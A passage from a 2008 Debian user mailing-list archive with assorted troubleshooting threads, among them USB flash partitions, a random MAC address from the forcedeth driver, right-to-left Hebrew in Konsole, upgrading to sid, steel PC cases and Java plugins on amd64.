Thanks, Greetings and nice Day
Michelle Konzack
Systemadministrator
Tamay Dogan Network
Debian GNU/Linux Consultant


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Re: USB pendrive mobility (fat32)?

2008-02-10 Thread Marc Shapiro
s. keeling wrote:

David S <[EMAIL PROTECTED]>:
  

 s. keeling wrote:


Plugging that into the corporate WinXP laptop only displays the first
ca. 300 Mb ptn.  Why doesn't it see the 2nd?  How have I borked the
ptn table?
  

 I have this same issue with Windows XP too. I think its not your
 fault but the OS's. For most users one partition on a flash drive is
 standard, so WinXP must have decided to limit the number of
 partitions displayable to one.



Thanks for the confirmation.  This is amazing:

  

 The interesting thing is, though, that Windows 98 can see more than
 one partition on a flash drive.



Amazing as in, XP can't.  This seems a fairly insane design decision on
the part of MS.


  

Does Vista do this, too?

--
Marc Shapiro
[EMAIL PROTECTED]



--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: Will using kernel 2.6.24 make my laptop faster?

2008-02-10 Thread Michelle Konzack
Am 2008-02-08 10:08:53, schrieb Bastian Blank:
> On Sat, Feb 02, 2008 at 03:22:54PM +0100, Michelle Konzack wrote:
> > Am 2008-01-31 23:35:31, schrieb Gaudenz Steinlin:
> > > Do you have any numbers that kernel with unneeded hardware options not
> > > compiled in actually run faster? I would be very suprised by this as the
> > > additional code just never runs. AFAIK all applicable processor
> > > optimizations for powerpc are already activated in the stock Debian
> > > kernels.
> > At least it boots faster, since it has not the need of dependencie
> > checking for 1 million modules for which you will never have hardware.
> 
> Nope, because this is only done on installation time, not during boot.

This has changed between Sarge and Etch?

It seems, that my Etch-Office-Workstation (2.6.18) is doing dependencie
checking at each bootup.  Maybe this is a forgotten old piece of script
from Sarge?

Thanks, Greetings and nice Day
Michelle Konzack


-- 
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSN LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)


signature.pgp
Description: Digital signature


Getting USB audio to work (Lenny)

2008-02-10 Thread Dr. Jennifer Nussbaum
I have an up to date Lenny system, and sound works
pretty much fine but i cant get USB audio to play.

I have a pair of altec USB speakers that work on a
Mac. When i plug them in, they show up in the system:
if i go to System -> Preferences -> Sound, the
"Devices" tab gives me the option for USB audio for
Sound Events,
Music and Movies, and Audio Conferencing. And, when
i hit "Test", it works: it plays through the USB
speakers.

But it doesn't work through anything else. Playing
music through Firefox, or XMMS, or mplayer, just works
through
the system speakers, not the USB speakers.

In XMMS I tried going to the Preferences, select the
ALSA plugin, Configure, and for the "mixer card"
chose the Altec speakers that display there. But even
this just doesn't play through the speakers.

I guess there's a knob i have to flip to get this to
work. Cna someone tell me what it is?

Thanks!

Jen


  

Be a better friend, newshound, and 
know-it-all with Yahoo! Mobile.  Try it now.  
http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ 


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: What am I missing without mutt?

2008-02-10 Thread Dotan Cohen
On 09/02/2008, Michelle Konzack <[EMAIL PROTECTED]> wrote:
> If the console app is using "libfribidi" (as I use it) and the right
>  console font is installed then you can read farsi (my mother language)
>  arabic and hebrew in mutt and of cource from Right-To-Left (RTL).

Thanks for the tip, Michelle. Tell me, how does one configure Konsole
to use it? It can be seen here that libfribidi is installed, yet the
Hebrew that looks fine when pasted in Firefox is in fact displayed
reversed in Konsole:

[EMAIL PROTECTED]:~$ sudo apt-get install libfribidi0
Reading package lists... Done
Building dependency tree
Reading state information... Done
libfribidi0 is already the newest version.
0 משודרגים, 0 מותקנים חדשים, 0 יוסרו ו-19 לא ישודרגו.
[EMAIL PROTECTED]:~$

> And farsi has 4 letters more then arabic (24=>28)

I just looked at the Arabic alphabet, and all 28 of the letters look
familiar to me:
http://en.wikipedia.org/wiki/Arabic_alphabet

At least in Israel, we use 28 Arabic letters.

>  > What about the "dots".  Is that just a figment of misunderstanding?
>
> The dots are brain-crackers...
>  (I trying to learn hebrew...  since 10 years!)

If you mean that they are unnecessary and only make the learning even
harder, then you are correct!

Dotan Cohen

http://what-is-what.com
http://gibberish.co.il
א-ב-ג-ד-ה-ו-ז-ח-ט-י-ך-כ-ל-ם-מ-ן-נ-ס-ע-ף-פ-ץ-צ-ק-ר-ש-ת

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?


Re: Gigabyte M61P-S3 and wild MAC address of ethernet interface

2008-02-10 Thread Tero Mäntyvaara
Hi,

Many thanks for your answer! :-) Here is the information you requested:

# lspci -nn | grep -i net
00:07.0 Bridge [0680]: nVidia Corporation MCP61 Ethernet [10de:03ef]
(rev a2)

# dmesg | egrep -i 'mac|eth'
ACPI: PCI Interrupt Link [LMAC] (IRQs 5 7 9 10 *11 14 15)
forcedeth.c: Reverse Engineered nForce ethernet driver. Version 0.56.
forcedeth: using HIGHDMA
:00:07.0: Invalid Mac address detected: 3f:3d:75:4d:1a:00
Please complain to your hardware vendor. Switching to a random MAC.
eth0: forcedeth.c: subsystem: 01458:e000 bound to :00:07.0
eth1394: eth0: IEEE-1394 IPv4 over 1394 Ethernet (fw-host0)
eth6: no IPv6 routers present

# /sbin/ifconfig
eth6  Link encap:Ethernet  HWaddr 00:00:6C:B1:C1:64
 inet addr:10.11.12.12  Bcast:10.11.12.255  Mask:255.255.255.0
 inet6 addr: fe80::200:6cff:feb1:c164/64 Scope:Link
 UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
 RX packets:5656 errors:0 dropped:0 overruns:0 frame:0
 TX packets:3957 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:1000
 RX bytes:2779018 (2.6 MiB)  TX bytes:450604 (440.0 KiB)
 Interrupt:201 Base address:0xe000

loLink encap:Local Loopback
 inet addr:127.0.0.1  Mask:255.0.0.0
 inet6 addr: ::1/128 Scope:Host
 UP LOOPBACK RUNNING  MTU:16436  Metric:1
 RX packets:257 errors:0 dropped:0 overruns:0 frame:0
 TX packets:257 errors:0 dropped:0 overruns:0 carrier:0
 collisions:0 txqueuelen:0
 RX bytes:20036 (19.5 KiB)  TX bytes:20036 (19.5 KiB)

# cat /etc/udev/rules.d/z25_persistent-net.rules
# This file was automatically generated by the /lib/udev/write_net_rules
# program, probably run by the persistent-net-generator.rules rules file.
#
# You can modify it, as long as you keep each rule on a single line.
# MAC addresses must be written in lowercase.

# Firewire device 001a4de18fd8 (ohci1394)
SUBSYSTEM=="net", DRIVERS=="?*",
ATTRS{address}=="00:1a:4d:00:00:e1:8f:d8", NAME="eth0"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:44:27:b6",
NAME="eth1"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:af:3b:bd",
NAME="eth2"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:81:6e:05",
NAME="eth3"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:51:2c:f2",
NAME="eth4"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:1e:81:f6",
NAME="eth5"

# PCI device 0x10de:0x03ef (forcedeth)
SUBSYSTEM=="net", DRIVERS=="?*", ATTRS{address}=="00:00:6c:b1:c1:64",
NAME="eth6"

# cat /etc/network/interfaces
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
allow-hotplug eth1
iface eth1 inet dhcp

Additional information:
The problem is that OS thinks that the MAC address is invalid some how.
I verfied that OS informs at every boot that MAC address is invalid. I
was wondering if this is result of incorrectly programmed Ethernet
physical controller MAC address? My PHY-controller is Realtek RTL8211.


Tero Mäntyvaara

Florian Kulzer wrote:

On Sat, Feb 09, 2008 at 11:58:38 +0200, Tero Mäntyvaara wrote:
  

Hi,

I have got Debian 4.0r2 and Gigabyte M61P-S3 motherboard and I noticed  
it has "dynamic" MAC address :-/


I tried to fix the problem with the help of document  
http://www.debian-administration.org/articles/501 but with no success.  
The problem is that every time I boot my system Debian finds the new  
ethernet interface and so I do not have internet connection.


Has someone else had similar problem and so also sollution?



I am not familiar with this problem, so I cannot promise anything, but I
think it will help if you post some more information about your system.
Let's start with the output of the following commands:

lspci -nn | grep -i net

dmesg | egrep -i 'mac|eth'

/sbin/ifconfig

cat /etc/udev/rules.d/z25_persistent-net.rules

cat /etc/network/interfaces

  



--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: What am I missing without mutt?

2008-02-10 Thread Dotan Cohen
On 09/02/2008, Michelle Konzack <[EMAIL PROTECTED]> wrote:
> Do you have used "locale-purge"?  Then all other locales are removed and
>  you have to reinstall locales with
>
> apt-get --reinstall locales
>
>  But before you should assure, that
>
> dpkg-reconfigure debhelper
>
>  is set at least to "normal" or if you want to control more to "low".

That seems a bit dangerous for my daily driver, so I did an
experiment. I copied שלום from Firefox into Konsole, and it displayed
backwards as I would should it have been program output. Then I copied
سلا  (that should be salam, but I don't know why I can't paste the Mem
at the end) to Konsole as well. Sure enough, the Shin was to the left,
but interestingly the L-Aleph was properly connected! Then another
Aleph to the right of that. There was no Mem in Konsole, either, I
cannot seem to copy that critter.

So I think that the knowledge of whether or not Arabic is displayed in
connected characters in the console is answered. In broken LTR
implementations, the letters are shown as if they are all by
themselves. Special combinations, such as LA, have the Lamed replaced
with the combined letter glyph, and then the real second letter after
(to the right of) it.

Dotan Cohen

http://what-is-what.com
http://gibberish.co.il
א-ב-ג-ד-ה-ו-ז-ח-ט-י-ך-כ-ל-ם-מ-ן-נ-ס-ע-ף-פ-ץ-צ-ק-ר-ש-ת

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?


How do I upgrade to sid?

2008-02-10 Thread Dennis G. Wicks
IIRC somebody said they were running sid and had no
problems with Iceweasel so I'm thinking that upgrading
might be the answer to my problems.

How do I do it? Is it as easy as

aptitude dist-upgrade ??

What do I have to change to get to sid instead of etch?

TIA for any help!
Dennis


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: [OT] beefy steel cases

2008-02-10 Thread Andrew Sackville-West
On Sat, Feb 09, 2008 at 12:24:56PM -0500, Douglas A. Tutty wrote:
> hello, 
> 
> Me again with my project.
> 
> Some people off-list have found me some low-MHz computers and will mail
> me the boards with CPU + memory etc.  One is a Tyan dual Pentium
> {133|166}.
> 
> Now I'm looking for a great case in which to mount it (them?).  Starting
> with wikipedia on EMR shielding, and surfing fro there, I've learned
> that steel is much better for this than aluminum of the same thickness,
> and the thicker the better (see skin depth).  Wouldn't you know it: my
> Athlon64's case is steel frame with thin aluminum panels.  So, I guess
> its case should be changed too.
> 
> Asthetics don't matter.  
> 
> I'm wondering if in your travels, have any of you seen a case (tower,
> desktop, or rackmount) that is:
> 
> -- of heavy steel frame and panels.

Every *old* case I have fits your requirements more or less (I might
even have a spare, now that I think of it...). I suggest
you go to the local (is there such a thing?) computer reseller/parts
shop and scrounge for old cases. They are invariably steel all the way
around and an be had for next to nothing (even nothing sometimes). 

You may need to add a couple baffles. Some of my old ones are all
steel all the way around except for some "cooling" holes on the
back. A simple baffle pop-rivetted over that would allow airflow but
eliminate the line-of-sight issue. The only other concern would be the
front panel. These tend to have lots of holes in them. Again a little
sheet steel and a pop-rivet gun would clean that up pretty
quickly. THe only things that should penetrate through that front
panel would be cd/floppy drives and those are generally wrapped in
steel anyway, so that might be no problem. 

You mention good cooling and so forth, but I'm not sure how much of a
concern that really is on these lower power machines. A couple of good
fans strategically placed should be plenty. 

Finally, if you have a steel framed case, probably the back panel is
steel and all you'd need are new sides/top/bottom. It should be
straightforward to add steel sides to an existing frame relatively
inexpensively. 



A


signature.asc
Description: Digital signature


Re: How do I upgrade to sid?

2008-02-10 Thread Javier Vasquez
On 2/10/08, Dennis G. Wicks <[EMAIL PROTECTED]> wrote:
> IIRC somebody said they were running sid and had no
> problems with Iceweasel so I'm thinking that upgrading
> might be the answer to my problems.

I'm not aware of your problems, but I'm not sure if you left them
unresolved on testing or stable, you'll get them resolved in
unstable...

> How do I do it? Is it as easy as

1st you must edit your apt sources, so that you remove any reference
to etch, and include references for sid or unstable.  As sid is pretty
dynamic by nature, using unstable instead of sid doesn't make a
difference when the distribution changes from one version to the
other, so I've always used unstable...

Then the rest is kind of recipy for upgrading:
 --  aptitude clean
 --  aptitude update
 --  aptitude safe-upgrade
 --  aptitude full-upgrade

You can replace the "aptitude" command by corresponding "apt-get"
ones.  You better have a satisfactory result from each step before
moving to the next.

However, do this only if you're able to spent considerable amount of
time in case of substantial changes in configurations, dependencies,
and other stuff.  As I said, just plain change of version might NOT
solve your problems at all, but I'm not able to judge that...

>aptitude dist-upgrade ??

I thought dist-upgrade was depredicated from aptitude, but it should
be equivalente to full-upgrade.  See above...

> What do I have to change to get to sid instead of etch?
>
> TIA for any help!
> Dennis


-- 
Javier


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Bad E-mail setup in office. I need advice

2008-02-10 Thread Jochen Schulz
Dawn Light:
>
> Some incoming messages are "adressed" to the office and some are
> "addressed" to the various architects ( There is only one E-mail
> address). Thus anyone who wishes to read his incoming messages and
> send messages needs to physically go and use the workstation with the
> mail client. This, if you haven't guessed already, it somewhat
> uncomfortable for daily work in the office.

If I were you, I'd take an existing Debian machine and install Dovecot.
It could provide all clients with the mails fetched by fetchmail. You
just need an IMAP capable mail client (even Outlook Express should do,
although I wouldn't recommend it) and then the architects could access
their mail from their own workstations.

If there is a reliable way to recognize which mail is addresses to which
architect, you could even filter the mails using procmail or maildrop so
that each architect has his/her own mailbox.

Then set up your MTA (default: exim, I prefer Postfix) to relay mails
for all your clients and you're done. This is a very common setup,
postfix.org should provide you with some example configurations.

J.
-- 
It is not in my power to change anything.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature


Re: How do I upgrade to sid?

2008-02-10 Thread Jochen Schulz
Dennis G. Wicks:
>
> IIRC somebody said they were running sid and had no
> problems with Iceweasel so I'm thinking that upgrading
> might be the answer to my problems.

It may be the answer, but upgrading to sid will pose a whole lot of new
questions. If you don't know how to upgrade, you probably aren't ready
to deal with the kind of problems sid will bring.

> How do I do it? Is it as easy as
> 
> aptitude dist-upgrade ??

No, you have to add sid to your sources.list.

J.
-- 
When I am doing sex I wonder if my emotions can be detected by alien
civilisations.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Tzafrir Cohen
On Sun, Feb 10, 2008 at 09:09:55PM +0200, Dotan Cohen wrote:

> No. I have no need for Arabic, really, I was just checking how Arabic
> is displayed on the console for Ron Johnson. I do have need for
> Hebrew, however, and typing it on the console comes out LTR. I would
> like to get libfribidi working.

Try mlterm .

(The verb "try" is appropriate here, as mlterm is a bit buggy).

-- 
Tzafrir Cohen | [EMAIL PROTECTED] | VIM is
http://tzafrir.org.il || a Mutt's
[EMAIL PROTECTED] ||  best
ICQ# 16849754 || friend


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: [OT] beefy steel cases

2008-02-10 Thread Douglas A. Tutty
On Sun, Feb 10, 2008 at 09:56:22AM -0800, Andrew Sackville-West wrote:
 
> Every *old* case I have fits your requirements more or less (I might
> even have a spare, now that I think of it...). I suggest
> you go to the local (is there such a thing?) computer reseller/parts
> shop and scrounge for old cases. They are invariably steel all the way
> around and an be had for next to nothing (even nothing sometimes). 

Unfortunaly, there isn't one.  Local people just take it to the recyling
depot where they dump them in with scrap metal (believe it or not)
unless it has a tube (TV, CRT, etc) in which case it sits in a pile
exposed to the weather.

> 
> You may need to add a couple baffles. Some of my old ones are all
> steel all the way around except for some "cooling" holes on the
> back. A simple baffle pop-rivetted over that would allow airflow but
> eliminate the line-of-sight issue. The only other concern would be the
> front panel. These tend to have lots of holes in them. Again a little
> sheet steel and a pop-rivet gun would clean that up pretty
> quickly. THe only things that should penetrate through that front
> panel would be cd/floppy drives and those are generally wrapped in
> steel anyway, so that might be no problem. 
> 

Unless I find an old case that has hot-swap scsi.  Then, it would be
nice if there was a door over the front.  I don't know if hard drives,
in a hot-swap caddie to shield the drive logic, would be OK without a
door.  If so, it would open up a lot of potential boxes.

> You mention good cooling and so forth, but I'm not sure how much of a
> concern that really is on these lower power machines. A couple of good
> fans strategically placed should be plenty. 

My main concern would be for hard drives.  Old consumer boxes were
designed for small, slow-RPM IDE.  A new IDE is going to be at least
7200 RPM.  If I go scsi, it will be faster.

> Finally, if you have a steel framed case, probably the back panel is
> steel and all you'd need are new sides/top/bottom. It should be
> straightforward to add steel sides to an existing frame relatively
> inexpensively. 

I have my CoolerMaster with my Athlon in it.  Steel frames yes, but all
aluminum panels.  I'd have to drill out the rivits where aluminum and
steel meet, and rivit on new steel panels.  The removeable one would be
more work to duplicate the track.  The front is individual plastic
snap-in grill/air-filters over each of 11 drive bays, with a curved
front.  Making a door would be challenging.  All-in-all, this case
wouldn't be worth the effort.

I've been looking at industrial-style cases, which often have a metal
door that hinges up over the front (rackmount style).  Norco has some
made with 1.2 mm steel and they run under $100 on newegg.  I'm looking
at the 4U; they have several styles and I'm trying to determine the
differences between them.  What do you think of these?  Some industrial
computer cases are designed for low EMI for telecommunications, but are
still rated FCC Class A.

FCC ratings are cute too.  FCC doesn't actually rate cases, however,
some case manufactures are also server/computer vendors (e.g.
supermicro, advantech).  Some of them then put the same FCC rating info
on the case documentation as on the computers.  Since these are server
boxes, they get marked as FCC class A.  They probably didn't even try to
certify them for class B.  I wish FCC had a "class S" for "Silent" with
non-detectable emissions (not just emissions that give information like
TEMPEST).  TEMPEST computers can still emit EMI, it just doesn't provide
any information on the state of the computer.  

Then again, FCC Class B means diddly to us unless its to know that a
case Failed Class B.  Baby monitors and cordless phones are Class B
devices and are a problem.

Anyway, I'll keep looking for free steel boxes.  Please let me know what
you think of the Norco boxes.

Thanks,

Doug.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Java Plugin for Iceweasel for AMD 64 bit Debian?

2008-02-10 Thread Jochen Schulz
Amogh Hooshdar:
>
> I have Debian installed on AMD 64 bit laptop. How can I install the
> java plugin for iceweasel?

You can't, since there is none.

> I have heard that Sun has not released a Java plugin for AMD 64-bit.
> Is this true?

Yes.

Your only option is to install a 32bit chroot with Firefox and Java in
it and run Firefox from there.

J.
-- 
People talking a foreign language are romantic and mysterious.
[Agree]   [Disagree]
 


signature.asc
Description: Digital signature


Multiple Java installed, how to switch?

2008-02-10 Thread Magnus Therning
How do I make sure that all the java-related links in /etc/alternatives
are sane?

I installed icedtea, then purged it and installed sun-java5 and
sun-java6.  Some links in /etc/alternatives are still pointing to the
(now non-existing) tools that came with icedtea.  How do I easily switch
them to all point to the tools of a specific java package?

/M

-- 
Magnus Therning (OpenPGP: 0xAB4DFBA4)
magnus@therning.org Jabber: magnus.therning@gmail.com
http://therning.org/magnus

What if I don't want to obey the laws? Do they throw me in jail with
the other bad monads?
 -- Daveman



signature.asc
Description: OpenPGP digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Dotan Cohen
On 10/02/2008, Micaela Gallerini <[EMAIL PROTECTED]> wrote:
> 2008/2/10, Dotan Cohen <[EMAIL PROTECTED]>:
>
>
>  > That seems a bit dangerous for my daily driver, so I did an
>  > experiment. I copied שלום from Firefox into Konsole, and it displayed
>  > backwards as I would should it have been program output. Then I copied
>  > سلا  (that should be salam, but I don't know why I can't paste the Mem
>  > at the end) to Konsole as well. Sure enough, the Shin was to the left,
>  > but interestingly the L-Aleph was properly connected! Then another
>  > Aleph to the right of that. There was no Mem in Konsole, either, I
>  > cannot seem to copy that critter.
>  >
>
>
> good evening,
>  I have two stupid question, I know, but...:P
>
>  if you tried to setting the keyboard with arabic language?
>  therefore, add the arabic language and change the language of console
>  when you write?
>

No. I have no need for Arabic, really, I was just checking how Arabic
is displayed on the console for Ron Johnson. I do have need for
Hebrew, however, and typing it on the console comes out LTR. I would
like to get libfribidi working.

Dotan Cohen

http://what-is-what.com
http://gibberish.co.il
א-ב-ג-ד-ה-ו-ז-ח-ט-י-ך-כ-ל-ם-מ-ן-נ-ס-ע-ף-פ-ץ-צ-ק-ר-ש-ת

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?


Java Plugin for Iceweasel for AMD 64 bit Debian?

2008-02-10 Thread Amogh Hooshdar
I have Debian installed on AMD 64 bit laptop. How can I install the
java plugin for iceweasel?

I have heard that Sun has not released a Java plugin for AMD 64-bit.
Is this true?

Is there any non-Sun plugin then?


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: What am I missing without mutt?

2008-02-10 Thread Micaela Gallerini
2008/2/10, Dotan Cohen <[EMAIL PROTECTED]>:

> That seems a bit dangerous for my daily driver, so I did an
> experiment. I copied שלום from Firefox into Konsole, and it displayed
> backwards as I would should it have been program output. Then I copied
> سلا  (that should be salam, but I don't know why I can't paste the Mem
> at the end) to Konsole as well. Sure enough, the Shin was to the left,
> but interestingly the L-Aleph was properly connected! Then another
> Aleph to the right of that. There was no Mem in Konsole, either, I
> cannot seem to copy that critter.
>

good evening,
I have two stupid question, I know, but...:P

if you tried to setting the keyboard with arabic language?
therefore, add the arabic language and change the language of console
when you write?

regards,

--
"Stupid is who don't ask no more"
Rashna
Micaela Gallerini


Re: Java Plugin for Iceweasel for AMD 64 bit Debian?

2008-02-10 Thread Magnus Therning
Amogh Hooshdar wrote:
> I have Debian installed on AMD 64 bit laptop. How can I install the
> java plugin for iceweasel?
> 
> I have heard that Sun has not released a Java plugin for AMD 64-bit.
> Is this true?
> 
> Is there any non-Sun plugin then?

Yes, it's true.  AFAIK the only solution at the moment is to install a
32-bit version of the java plugin.

/M

-- 
Magnus Therning (OpenPGP: 0xAB4DFBA4)
magnus@therning.org Jabber: magnus.therning@gmail.com
http://therning.org/magnus

What if I don't want to obey the laws? Do they throw me in jail with
the other bad monads?
 -- Daveman



signature.asc
Description: OpenPGP digital signature


Re: What am I missing without mutt?

2008-02-10 Thread Micaela Gallerini
2008/2/10, Dotan Cohen <[EMAIL PROTECTED]>:
>
> No. I have no need for Arabic, really, I was just checking how Arabic
> is displayed on the console for Ron Johnson. I do have need for
> Hebrew, however, and typing it on the console comes out LTR. I would
> like to get libfribidi working.
>

every writing program uses your keyboard settings that you run at the
precise moment when you write.
If you haven't enable keyboard with arabic language will not be able
to write from right to left in any case, even copy and pasting the
phrase elsewhere.

and use the other suggest...^^

-- 
"The stypidity is a constant of the humans"
Rashna
Micaela Gallerini


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: What am I missing without mutt?

2008-02-10 Thread Dotan Cohen
On 10/02/2008, Tzafrir Cohen <[EMAIL PROTECTED]> wrote:
> On Sun, Feb 10, 2008 at 09:09:55PM +0200, Dotan Cohen wrote:
>
>  > No. I have no need for Arabic, really, I was just checking how Arabic
>  > is displayed on the console for Ron Johnson. I do have need for
>  > Hebrew, however, and typing it on the console comes out LTR. I would
>  > like to get libfribidi working.
>
>
> Try mlterm .
>
>  (The verb "try" is appropriate here, as mlterm is a bit buggy).
>

Nice, Hebrew is displayed RTL. But I'm not about to give up Konsole,
especially for known-buggy software.

Dotan Cohen

http://what-is-what.com
http://gibberish.co.il
א-ב-ג-ד-ה-ו-ז-ח-ט-י-ך-כ-ל-ם-מ-ן-נ-ס-ע-ף-פ-ץ-צ-ק-ר-ש-ת

A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?


gdm session chooser list

2008-02-10 Thread Angus Auld
I would like to ask whether someone could direct me to
the config file that manages the gdm chooser list at
login.

I seem to have duplicate entries since I installed
IceWM and Fluxbox. Previous I had been running Xfce as
desktop on my Debian Etch.

While this is no biggie, I would like to get rid of
the dup entries.

I have been searching configs to no avail. The file
that contains the session chooser list has eluded me
thus far.

Any help on this minor annoyance would be greatly appreciated.

-- 
Angus

"All churches, whether Jewish, Christian, or Muslim, appear 
to me no other than human inventions, setup to terrify and 
enslave mankind - and to monopolize power and profit."
-- Thomas Paine (1737-1809)

##Linux Laptop powered by Debian Linux##
###Reg. Linux User #278931###


  

Be a better friend, newshound, and 
know-it-all with Yahoo! Mobile.  Try it now.  
http://mobile.yahoo.com/;_ylt=Ahu06i62sR8HDtDypao8Wcj9tAcJ 


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: (no subject)

2008-02-10 Thread Paul Johnson
On Feb 10, 2008 8:16 AM, Paul Dransfield <[EMAIL PROTECTED]> wrote:
> This installation cuts out my CPU fan, therefore the installation cannot
> complete

You may find you receive better answers if you can ask a complete and
intelligently worded question.
http://catb.org/~esr/faqs/smart-questions.html

-- 
Paul Johnson
[EMAIL PROTECTED]


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: domain wide spam email address

2008-02-10 Thread Alex Samad
On Sun, Feb 10, 2008 at 12:08:16PM +0100, Peter Teunissen wrote:
>
> On 10-feb-2008, at 3:08, Alex Samad wrote:
>
>> Hi
>>
>> I want to set up an email address where for my domain, were users can 
>> send spam
>> emails to and they will be added to the spam DB.
>>
>> I use exim and spamassassin. All my spam processing gets done as user
>> spamassassin, so I thought I could just process all mails sent to  
>> spamassassin
>> as spam with a procmail rule like
>>
>> #
>> # Record it as spam
>> :0 fw
>> | /usr/bin/sa-learn --spam
>>
>>
>> but then I realised how do I get it to ignore the senders address  
>> (because it
>> will be one of my addresses and I don't when then blacklisted ?)
>>
> in stead of using a mailaddress, I simply created a shared folder, so  
> users can drag spam into it to have it processed. You'd probably need  
> something like uwimap of cyrus to do that however. Since you don't  
> mention a MDA, I guess you use something like maildir and I don't know 
> how you're supposed to make shared mail folders then. Others may be of 
> more help there.

i thought procmail was the mda, but i could be wrong.

the reason i am looking at this now, is i have just installed the horde frame 
work, they provide the concept of  a spam email address also a ham address as 
well.


the tools currently being used are mutt, squirrelmail, horde/imp, exim, 
procmail, spamassassin (rayzor and ++) and grey listing


because of the different type of programmes being used a shared directory is 
really the way to go I think ?



>
>
>
>
>
> HTH,
>
>
> Peter
>
> -- 
> There are only 10 kinds of people in the world, those who understand  
> ternary, those who don't, and those who mistake it for binary...
>
>
> -- 
> To UNSUBSCRIBE, email to [EMAIL PROTECTED] a 
> subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
>
>

-- 
diplomacy, n:
Lying in state.


signature.asc
Description: Digital signature


vanishing desktop menu and background pattern.

2008-02-10 Thread peasthope
Folk,

This morning I updated a Lenny system which has 
XFCE4.  After the update the desktop background 
was a black & white houndstooth pattern and the 
desktop menu was gone.  The panels remained 
operational.  

Someone please explain why this happens and what
repair is recommended.  Removing and reinstalling 
the account seems more drastic than necessary.

Thanks,... Peter E.

Desktops.OpenDoc  http://carnot.yi.org/


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Non-understood advice - was Re: dist-upgrade from sarge to etch - package

2008-02-10 Thread Felix Karpfen
On Sun, 10 Feb 2008 15:31:27 +0100, Florian Kulzer wrote:

> What do you see when you run
> apt-cache policy a2ps adduser alsa-base
> ?

The following:

| a2ps:
|   Installed: 1:4.13b.dfsg.1-1
|   Candidate: 1:4.13b.dfsg.1-1
|   Version table:
|  *** 1:4.13b.dfsg.1-1 0
| 500 cdrom://[Debian GNU/Linux 4.0 r0 _Etch_ - Official i386 DVD 
Binary-1 20070407-11:40] unstable/main Packages
| 100 /var/lib/dpkg/status
| adduser:
|   Installed: 3.102
|   Candidate: 3.102
|   Version table:
|  *** 3.102 0
| 500 cdrom://[Debian GNU/Linux 4.0 r0 _Etch_ - Official i386 DVD 
Binary-1 20070407-11:40] unstable/main Packages
| 100 /var/lib/dpkg/status
| alsa-base:
|   Installed: 1.0.13-5
|   Candidate: 1.0.13-5
|   Version table:
|  *** 1.0.13-5 0
| 500 cdrom://[Debian GNU/Linux 4.0 r0 _Etch_ - Official i386 DVD 
Binary-1 20070407-11:40] unstable/main Packages
| 100 /var/lib/dpkg/status


Felix Karpfen
-- 
Felix Karpfen
Public Key 72FDF9DF (DH/DSA)


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



stale lockfile on fetchmail.

2008-02-10 Thread peasthope
Folk,

Mostly fetchmail works with no problem.  Occasionally 
this happens.

